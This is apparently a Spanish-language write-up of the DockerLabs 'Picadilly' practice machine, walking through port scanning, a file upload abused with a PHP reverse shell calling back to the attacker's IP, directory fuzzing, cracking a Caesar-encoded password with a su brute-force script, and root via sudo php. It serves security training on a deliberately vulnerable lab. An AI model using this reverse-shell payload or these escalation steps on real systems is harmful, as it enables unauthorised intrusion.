Picadilly DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip picadilly.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh picadilly.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 14:57 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000024s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.59
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 215   2024-05-18 01:19  backup.txt
|_
443/tcp open  ssl/http Apache httpd 2.4.59 ((Debian))
|_http-title: Picadilly
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=50a6ca252ff4
| Subject Alternative Name: DNS:50a6ca252ff4
| Not valid before: 2024-05-18T06:29:06
|_Not valid after:  2034-05-16T06:29:06
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: picadilly.lab

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

Si entramos en el 443 que parece interesante, veremos una pagina normal que abajo del todo se puede subir un archivo, por lo que probaremos a subir un PHP para crearnos una reverse shell.

Escalate user www-data

shell.php

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Si subimos el archivo shell.php veremos que nos deja subirlo y que se habra subido correctamente, por lo que haremos fuzzing para ver donde se encuentra el directorio donde se almaceno nuestro archivo:

Gobuster

gobuster dir -u https://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 276]
/.htpasswd.txt        (Status: 403) [Size: 276]
/.htaccess.html       (Status: 403) [Size: 276]
/.htaccess.php        (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htaccess.txt        (Status: 403) [Size: 276]
/.htpasswd.html       (Status: 403) [Size: 276]
/.htpasswd.php        (Status: 403) [Size: 276]
/index.php            (Status: 200) [Size: 3719]
/server-status        (Status: 403) [Size: 276]
/uploads.php          (Status: 200) [Size: 3719]
/uploads              (Status: 200) [Size: 1137]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos que hay un directorio llamado uploads/ por lo que tiene toda la pinta de que estara ahi.

URL = https://<IP>/uploads/

Si entramos ahi dentro veremos que esta nuestro archivo shell.php por lo que nos pondremos a la escucha antes de ejecutarlo:

nc -lvnp <PORT>

Y desde la web pinchamos a nuestro archivo que subimos, una vez echo esto si nos vamos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 49694
whoami
www-data

Por lo que vemos ya hemos entrado con el usuario www-data.

Sanitizamos la shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user mateo

Si leemos el siguiente archivo en esta ruta:

cat /var/www/picadilly/backup.txt

Info:

/// The users mateo password is ////


----------- hdvbfuadcb ------------

"To solve this riddle, think of an ancient Roman emperor and his simple method of shifting letters."

////////////////////////////////////

Vemos que no esta diciendo la contraseña de mateo, pero esta cifrada...

Vemos que esta cifrado en Cesar, y nos da esas opciones de contraseña, por lo que vamos hacer un diccionario de todos esos resultado para ver cual de todas puede ser, utilizando una herramienta llamado suBrutefoce.sh.

dic.txt

easycrazy
tphnrgmpon
gcuaetzcba
yumswlruts
vrjptiorqp
uqioshnqpo
sogmqflonm
pldjncilkj
rnflpeknml
okcimbhkji
iewcgvbedc
awouyntwvu
miagkzfihg
kgyeixdgfe
njbhlagjih
fbtzdsybaz
qmekodjmlk
zvntxmsvut
wskqujpsrq
cyqwapvyxw
lhzfjyehgf
jfxdhwcfed
bxpvzouxwv
xtlrvkqtsr
dzrxbqwzyx

Nos descargamos la herramienta en el siguiente link:

URL = suBruteforce.sh GitHub

Solo tendremos que copiar el codigo y pegarlo en el archivo que creemos en /tmp.

vim suBruteforce.sh
#<PRESS_i>
#<SCRIPT_PASTE>
#<ESC>
#<:wq> Para guardar y salir

Una vez que tengamos el script cargado en el sistema, ponemos permisos de ejecuccion:

chmod +x suBruteforce.sh

Y haremos lo mismo con el archivo de contraseñas:

vim dic.txt
#<PRESS_i>
#<PASTE_KEYS>
#<ESC>
#<:wq> Para guardar y salir

Y utilizaremos la herramienta de la siguiente forma:

bash suBruteforce.sh mateo dic.txt

Info:

[+] Contraseña encontrada para el usuario mateo:easycrazy

Por lo que escalaremos al usuario mateo.

su mateo

Metemos como contraseña easycrazy y veremos que somos dicho usuario.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for mateo on c8332aa1fb59:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mateo may run the following commands on c8332aa1fb59:
    (ALL) NOPASSWD: /usr/bin/php

Veremos que podemos ejecutar el binario php como el usuario root, por lo que haremos lo siguiente:

CMD="/bin/bash"
sudo php -r "system('$CMD');"

Con esto seremos root y habremos terminado la maquina.

Last updated